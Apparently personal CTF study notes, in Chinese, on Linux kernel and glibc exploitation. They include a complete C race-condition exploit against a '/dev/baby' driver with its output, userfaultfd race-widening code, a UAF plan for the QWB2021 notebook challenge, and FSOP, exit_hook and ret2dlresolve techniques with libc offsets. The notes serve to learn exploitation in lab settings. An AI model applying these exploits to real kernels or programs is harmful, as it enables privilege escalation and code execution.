  1. 输入的数据指针是否为用户态数据。
  2. 数据指针内 flag_str 是否指向用户态。
  3. 据指针内 flag_len 是否等于硬编码 flag 的长度。长度通过IDA查看后数出来是33.

关于检查用户区指针函数:

函数的反编译代码为: !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0x1358)), 这一条是检查传入ioctl的指针是否指向用户区, 下面解释一下第三个参数是怎么回事.

在内核中也有一个检查是否是用户区指针的函数, 首先是一个宏定义: #define access_ok(addr, size), 然后调用了
likely(__access_ok(addr, size));, 重点就在__access_ok这个函数上(in /include/asm-generic/access_ok.h) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* 'size' is a compile-time constant for most callers, so optimize for
* this case to turn the check into a single comparison against a constant
* limit and catch all possible overflows.
* On architectures with separate user address space (m68k, s390, parisc,
* sparc64) or those without an MMU, this should always return true.
*
* This version was originally contributed by Jonas Bonn for the
* OpenRISC architecture, and was found to be the most efficient
* for constant 'size' and 'limit' values.
*/
static inline int __access_ok(const void __user *ptr, unsigned long size)
{
//TASK_SIZE really is a mis-named. It really is the maximum user
//space address (plus one).
unsigned long limit = TASK_SIZE_MAX;
unsigned long addr = (unsigned long)ptr;

if (IS_ENABLED(CONFIG_ALTERNATE_USER_ADDRESS_SPACE) ||
!IS_ENABLED(CONFIG_MMU))
return true;

return (size <= limit) && (addr <= (limit - size));
}

这里的TASK_SIZE_MAX->TASK_SIZE->DEFAULT_TASK_SIZE->user space address + 1 = 0xa000000000000000

至于为什么是current_task + 0x1358没有查到, 至少在运行时刻他的值为0x7ffffffff000, 即用户空间的上限.

检查时要求指向用户区, 进入if语句后检查内容是否和flag一致. 那么在这之间可以用另外一个线程来制造竞态条件, 修改指针为内核空间中的flag, 这样比较两个相同的东西肯定是能通过的.

第一版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stddef.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>

size_t flag_kaddr = 0;
char *prefix = "Your flag is at ";
char *fake_flag = "0123456789"
"0123456789"
"0123456789"
"012";
#define TRY_TIME 8000
u_int8_t flag_finish;

struct ATTR_t
{
char *buf;
size_t len;
} attr;

void *race_condition(void *)
{
while (flag_finish == 0)
attr.buf = (char *)flag_kaddr;
}

int main()
{
// ioctl to get flag address
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
int baby_fd = open("/dev/baby", O_RDONLY);
if (baby_fd == -1)
{
puts("open /dev/baby fail!");
exit(1);
}
ioctl(baby_fd, 0x6666, NULL);
system("dmesg > /tmp/mesg");
FILE *tmp_fd = fopen("/tmp/mesg", "r");
char buf[101];
while (fgets(buf, 100, tmp_fd))
{
char *pos;
if (pos = strstr(buf, prefix))
flag_kaddr = strtoull(pos + strlen(prefix), NULL, 16);
}
printf("the address of flag_kaddr is %p\n", flag_kaddr);
// create new thread to modify attr.flag to kernel flag addr
// init attr struct
attr.buf = (char *)fake_flag;
attr.len = 33;
printf("the len of fake_flag is %d\n", strlen(fake_flag));
pthread_t race;
pthread_create(&race, NULL, race_condition, NULL);

// restore to user-space ptr and ioctl(0x1337)
ushort time = TRY_TIME;
while (time--)
{
attr.buf = fake_flag;
ioctl(baby_fd, 0x1337, &attr);
}

flag_finish = 1;
pthread_join(race, NULL);

// output the result
puts("The result is:");
system("dmesg | grep flag{");
}

然后接着发现结果不是竞态条件无法成功, 要么就是smp pti错误. 其实是strtoull写成了strtoll, 导致指针转换不对.

下面是运行结果:

1
2
3
4
5
/ $ ./newexp                                                                                               
the address of flag_kaddr is 0xffffffffc0322028
the len of fake_flag is 33
The result is:
[ 4.191564] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}

userfaultfd 的使用

以下来自CTF-WiKi

userfaultfd 并不是一种攻击的名字,它是 Linux 提供的一种让用户自己处理缺页异常的机制,初衷是为了提升开发灵活性,在 kernel pwn 中常被用于提高条件竞争的成功率。比如在如下的操作时

1
copy_from_user(kptr, user_buf, size);

如果在进入函数后,实际拷贝开始前线程被中断换下 CPU,别的线程执行,修改了 kptr 指向的内存块的所有权(比如 kfree 掉了这个内存块),然后再执行拷贝时就可以实现 UAF。这种可能性当然是比较小的,但是如果 user_buf 是一个 mmap 的内存块,并且我们为它注册了 userfaultfd,那么在拷贝时出现缺页异常后此线程会先执行我们注册的处理函数,在处理函数结束前线程一直被暂停,结束后才会执行后面的操作,大大增加了竞争的成功率。

in man page: userfaultfd - create a file descriptor for handling page faults in user space

使用方法

然后简单说一下为内存块注册 userfaultfd 的方法,比较详细介绍的可以参考 man page。这个man page是在系统调用的哪一个section, 而具体使用还有一个page是很重要的, 在section7 的ioctl_userfaultfd. 里面有结构体的定义和使用.

O_CLOEXEC是个啥: 在执行exec()的时候关闭这个fd.

关于userfaultfd:

  • 关键词: 多线程程序 一个线程page_fault 另一个线程fault_handling
  • glibc provides no wrapper for userfaultfd(),
    necessitating the use of syscall(2): syscall(__NR_userfaultfd, oflags);
  • the faulting thread is put to sleep and an event is generated that can be read via the userfaultfd file descriptor.
  • more details are as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
//glibc provides no wrapper for userfaultfd(), necessitating the use of syscall as below:
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
//当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

我们在注册的时候,只要使用类似于

1
RegisterUserfault(mmap_buf, handler);

的操作就可以把 handler 函数绑定到 mmap_buf,当 mmap_buf 出现缺页异常时就会调用 handler 来处理。

然后比较重要的是 handler 的写法,开头是一些模板化的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
//the number of ready fds.
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
//returns the number of elements in pollfds whose revents have been set to a non-negative value
//poll(struct pollfd *fds, nfds_t nfds, int timeout); (-1 timeout means infinite timeout.)
//fds is a array of type pollfd
nready = poll(&pollfd, 1, -1);

定义一个 uffd_msg 类型的结构体在未来接受消息。

需要一个 pollfd 类型的结构体提供给轮询操作,其 fd 设置为传入的 arg,events 设置为 POLLIN。然后执行 poll(&pollfd, 1, -1); 来进行轮询,这个函数会一直进行轮询,直到出现缺页错误。

然后需要处理缺页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//here is critical: stop the faulting process.
sleep(3);
if (nready != 1)
{//there is only one element in fds, so it must be 1.
ErrExit("[-] Wrong poll return val");
}
//uffd will return the msg infomation, so just read from it.
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
ErrExit("[-] msg err");
//mmap a page.
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
ErrExit("[-] mmap err");
//The faulted thread will be stopped from execution until the page fault is resolved
//from user-space by either an UFFDIO_COPY or an UFFDIO_ZEROPAGE ioctl.
struct uffdio_copy uc;
// init page, 呃呃呃呃呃, 怎么会有sizeof(page)这种操作.
// 整个要改成 PAGE_SIZE
// WRONG: memset(page, 0, sizeof(page));
memset(page, 0, PAGE_SIZE); // CORRECT
uc.src = (unsigned long) page;
//page aligned
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

注意在开头加入了 sleep 操作,在 poll 结束返回时就代表着出现了缺页了,此时 sleep 就可以之前说到的暂停线程的效果。然后进行一些判断什么的,并 mmap 一个页给缺页的页,都是模板化的操作。此处 mmap 的内存在缺页时有自己的处理函数,所以不会一直套娃地缺页下去。

我们这里在遇到返回值错误的时候就直接错误退出了,在工程上应该会讲究一些,还会在外面套一个大死循环什么的,这里就不多说了,毕竟我们只需要利用它把线程暂停就可以了。

头文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
//#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
//#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

uffdio_copy怎么用?

先mmap一个chunk, 然后使用UFFDIO_COPY+ioctl操作交给内核完成copy操作. 不是很明白为什么是copy, 如果只为了全0page, 那还要弄一个4kb的页面, 不过copy的同时可能也在发生页错误的地方自动分配了相应空间, 也可以说是可以两用吧.https://zhuanlan.zhihu.com/p/385645268

QWB2021-notebook

在run.sh中看到一行exec timeout 300 qemu-...., 第一个和第二个是bash的built-in commands, 分别是替换当前shell为另一个程序, 以及设置命令运行时间. 过于麻烦, 直接换成执行qemu.

关于kptr_restrict(echo 1 > /proc/sys/kernel/kptr_restrict): the %pK printk format specifier can be used to print out kernel pointer, and the /proc/sys/kernel/kptr_restrict sysctl can disable this behavior.

关于run.sh中qemu的-append内核启动选项loglevel=3: 直接删掉, 启动的时候就会print出kernel ring buffer.

怀疑__fentry__就是一个function tracer.

遇到一些内核函数, 具体可以到网站查找. 比如check_object_size()

保护情况: kaslr, smep, smap, 2 cores and 2 threads loglevel=3 + dmesg(已关, 实际不可用) kptr

启动的时候耗时17秒, 结果查了半天发现是init里面一行ifup eth0 > /dev/null 2>/dev/null导致系统hang up. 不知道这清空stdout和stderr的意义是何在, 他的输出如下:

1
2
3
$ ifup eth0                                                 
Waiting for interface eth0 to appear............... timeout!
run-parts: /etc/network/if-pre-up.d/wait_iface: exit status 1

就在这儿硬等. linux网络设置不太懂, 先不管了.

在init中初始化了一个读写锁. 可能有点用处.

还有一个note结构体数组notebook, 由一个指向内容的指针和大小两个变量组成, 每个四字. 有16个, 并且有检查越界.

  • read: 读取size字节, 会检查note地址真实性 heap或stack块完整性 是否在kernel text area里
  • write: 写入size字节, 检查同上.
  • ioctl: 参数为3个size_t类型的结构体. 分别是idx, size, buf.
    • 0x100: note_add size小于0x60, 复制buf到name(??), note为NULL则重新kmalloc, 有读者锁.
    • 0x64: note_gift 复制整个notebook(0x100bytes)到buf中
    • 0x200: note_del 释放note + 如果size为0则清空结构体, 写者锁.
    • 0x300: note_edit 调整note空间大小, 读者锁.
      • size没变化, 退出.
      • 如果size为0则认为是已经free, 退出.
      • 现在使用realloc一块chunk, 赋值给note, 然后unlock读者锁.

提供了notebook内核模块的基址. 在/tmp/moduleaddr里.

两个有读者锁的函数都没有检查size, 因此可以等于0.

所以方法是:

  • 先add一个, 然后在edit中执行完krealloc后卡住, 并且newsize为0, 也就是直接释放这一块, 然后在add中修改size为0x60后卡住, 这样就能UAF一个任意大小的块(要先通过add再edit一个大chunk, 这样才能继续进行上面的操作), 不过只能操纵前0x60个字节.

UAF之后可以使用之前介绍过的tty_struct方法来构造ROP提权, 返回用户态执行shell.

还有一种方法, work_for_cpu函数, 总结: 看麻了.

flying-kernel

  • printk中使用的KERN_INFO是一个只函数字的字符串, 和要打印的字符串用空格运算符拼接在一起, 所以在IDA中会看到以数字(还有一个header:\001)开头的string, 内核用这个来判断log_level.
  • 差点忘了这是在container里面运行qemu.
  • 至于那些网络配置文件应该是远程部署环境了, 我应该不用在意.
  • 如果我在本地运行好像也不用docker.…..

在自定义的ioctl函数中,设置了参数2为command,有三种情况:

  • command = 0x5555时:调用kmalloc函数申请一个0x80的chunk
  • command = 0x6666时:free chunk但指针没清空
  • command = 0x7777时:调用printk输出,存在格式化字符串漏洞

一共两个漏洞点:0x80的UAF,和一个格式化字符串漏洞

这一题没有利用tty, 而是另外一个结构体. work_for_cpu.

出题总结

_IO_FILE Exploitation

具体见Wiki. ;

_IO_FILE的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
//#ifdef _IO_USE_OLD_IO_FILE
//};
//struct _IO_FILE_complete
//{
// struct _IO_FILE _file;
//#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

vtable, 看注释:

1
2
3
4
5
6
7
8
9
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

_IO_jump_t内容, 已经全部定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

tips:

  • _IO_file_init 函数的初始化操作中,会调用_IO_link_in 把新分配的 FILE 链入_IO_list_all 为起始的 FILE 链表中

  • overflow‘ hook flushes the buffer. (functions in vtable)

伪造vtable

首先分配一块内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存. 因为 vtable 中函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。

FSOP

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

fflush() forces a write of all user-space buffered data for the given output or update stream

a good material in a conference

glibc>2.24

2.24加入了对vtable劫持的检查.

1
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;

两个extern variable定义了vtable的地址范围, 在IO_validate_vtable中计算vtable的地址是否落在这个范围之内. 经过gdb(源码查不到), 这两个像是asm里面的标签一样, 不是一个变量估计没法修改, 除非能在libc中的data段进行修改, 不然无法劫持.

新的方法有两种:

  • 修改_IO_buf_base到指定的位置就可以任意地址写.
  • libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。
    剩下流程详见这里. 最好先看完heap的所有应用.

hook

exit_hook

exit()调用关系图:

1
2
3
4
5
6
7
8
void exit()
__run_exit_handlers()
(some functions in list)
...
_dl_fini
__rtld_lock_lock_recursive
__rtld_lock_unlock_recursive
...

相关结构体:

struct rtld_global (rt means RunTime):

1
2
3
4
5
6
7
/* Internal functions of the run-time dynamic linker.
These can be accessed if you link again the dynamic linker
as a shared library, as in `-lld' or `/lib/ld.so' explicitly;
but are not normally of interest to user programs.

The `-ldl' library functions in <dlfcn.h> provide a simple
user interface to run-time dynamic linking. */

exit_function and exit_function_list, 在handler中遍历list来执行每一个exit_function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};

__rtld_lock_lock_recursive and __rtld_lock_unlock_recursive 这两个函数都在_rt_global结构体里面, 可用gdb在运行时确定和libc_base的offset. 只要覆盖了就可以改变执行流, 比如改成one-gadgets, 相当于exit函数的hook(勉强算是).

所以这个利用也很明显, 拿到libc base address之后修改函数指针即可(要有任意地址写的能力).

1
2
3
4
5
6
7
# libc-2.23.so
exit_hook = libc_base + 0x5f0040 + 3848
exit_hook = libc_base + 0x5f0040 + 3856

# libc-2.27.so
exit_hook = libc_base + 0x619060 + 3840
exit_hook = libc_base + 0x619060 + 3848

malloc_hook

和free_hook一个东西, 一般都是在获取任意写的能力之后覆盖掉这个地址, 然后在进行malloc/free达到执行任意地址处的代码的目的.

ret2dlresolve

相关背景知识

Lazy bind: 第一次调用read

  • 先call read@plt.
  • 第一条指令就是jmp GOT[], 再jmp到got里的地址
  • 实际上存的是read@plt+6, 相当于继续执行下一条指令
  • push一个参数,也就是rel_offset
  • 之后跳转到pre_resolve, 在plt[0]中, 总共两条指令.
  • 又push一个参数(link_map).
  • 跳转到_dl_runtime_resolve
  • 一些下面会说的细节
  • 函数返回.

相关类型大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Type for a 16-bit quantity.  */
typedef uint16_t Elf32_Half;
typedef uint16_t Elf64_Half;
/* Types for signed and unsigned 32-bit quantities. */
typedef uint32_t Elf32_Word;
typedef int32_t Elf32_Sword;
typedef uint32_t Elf64_Word;
typedef int32_t Elf64_Sword;
/* Types for signed and unsigned 64-bit quantities. */
typedef uint64_t Elf32_Xword;
typedef int64_t Elf32_Sxword;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
/* Type of addresses. */
typedef uint32_t Elf32_Addr;
typedef uint64_t Elf64_Addr;
/* Type of file offsets. */
typedef uint32_t Elf32_Off;
typedef uint64_t Elf64_Off;
/* Type for section indices, which are 16-bit quantities. */
typedef uint16_t Elf32_Section;
typedef uint16_t Elf64_Section;
/* Type for version symbol information. */
typedef Elf32_Half Elf32_Versym;
typedef Elf64_Half Elf64_Versym;

ELF: 原版来自:link

.dynamic

这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针。 readelf -S (Section Headers)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn; //0x8 bytes

struct Elf64_Dyn {
Elf64_Sxword d_tag; // Type of dynamic table entry.
union {
Elf64_Xword d_val; // Integer value of entry.
Elf64_Addr d_ptr; // Pointer value of entry.
} d_un;
}; //0x10 bytes


Dynamic section at offset 0x21b0 contains 24 entries:
Tag Type Name/Value
...
0x00000005 (STRTAB) 0x804828c
0x00000006 (SYMTAB) 0x80481ec 即为 `.dynsym`
...
0x00000017 (JMPREL) 0x8048344 即为 `.rel.plt`
...

.dynstr

一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移。

.dynsym

是一个符号表(结构体数组),表示动态链接这些模块之间的符号导入导出关系。我们这里只关心函数符号。结构体定义如下, 总共0x10字节, Half是两字节, 而Elf64_Sym结构体的大小为0x18字节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size; //如果是导入函数, 上面两个都是零, 因为是在别的文件中定义的.
unsigned char st_info; //对于 导入 函数 符号而言,它是0x12
unsigned char st_other; //other字段都是0
Elf32_Half st_shndx; //符号所在的段下标, 有ABS COMMON UNDEF三个特殊值.
}Elf32_Sym;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

.rel.plt

是重定位表,也是一个结构体数组,每个项对应一个导入函数。在64位下的段名称为.rela.plt.

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct
{
Elf32_Addr r_offset; // 对于可重定位文件, 该重定位入口所要修正的位置的第一个字节,
// 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 在`.symtab`或者`.dynsym`中的索引 |(按位或上) 类型
// TYPE一般CPU相关, 例如R_386_PC32(静态), R_386_JUMP_SLOT(dyn)
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info) >> 8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym) << 8) + (unsigned char)(type))

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela; // 24 or 0x18 字节
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i)&0xffffffff)
#define ELF64_R_INFO(sym, type) ((((Elf64_Xword)(sym)) << 32) + (type))

linkmap:

1
2
3
//其中l_info:
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

DT_NUM是elf.h中定义的.dynamic段表项类型数目, 值为35, 前35个宏也是l_info中的下标, 可以索引到dynamic段中所有的信息. 在64位机上, l_info在linkmap中的偏移为0x40.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* Legal values for d_tag (dynamic entry type).  */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */
#define DT_NUM 35 /* Number used */

总结+runtime_resolve

简单说来, 所有的符号会出现在.symtab段中, 需要动态链接的符号会出现在.dynsym中, 加上.dynstr, 记录的是所有导入符号的名称(除此之外也没啥有用信息了), .rel.plt/.rel.dyn有进行重定位时需要的位置+类型信息. 需要重定位时在其中遍历即可.

在 Linux 中,程序使用 _dl_fixup(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
具体的,动态链接器在解析符号地址时所使用的.dynstr, .dynsym, .rel.plt都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

_dl_fixup(link_map_obj, reloc_offset) 执行流程: (一篇分析博客 | linkmap | dl_fixup | GNU_hash)

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针

  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作reloc

  3. reloc->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym

  4. .dynstr + sym->st_name得出符号名字符串指针

  5. 如果sym->st_other&3为零(一般都是), 则执行下面的流程. 如果设置为非零, 则是构造linkmap的方法

  6. 查找符号对应的版本信息, 版本信息数组在l_info里, 使用VERSYMIDX (DT_VERSYM)宏进行定位, 仍然利用重定位条目中的符号表编号作为versnum索引, 取出结构体地址, 然后访问version->hash, 如果符号表下标设置的太大则访问hash时可能会超出内存映射范围导致segment fault. 如果version被置NULL, 解析也能通过.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    const struct r_found_version *version = NULL;

    if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
    const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
    version = NULL;
    }

    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    value = sym ? (LOOKUP_VALUE_ADDRESS (result)
    + sym->st_value) : 0;
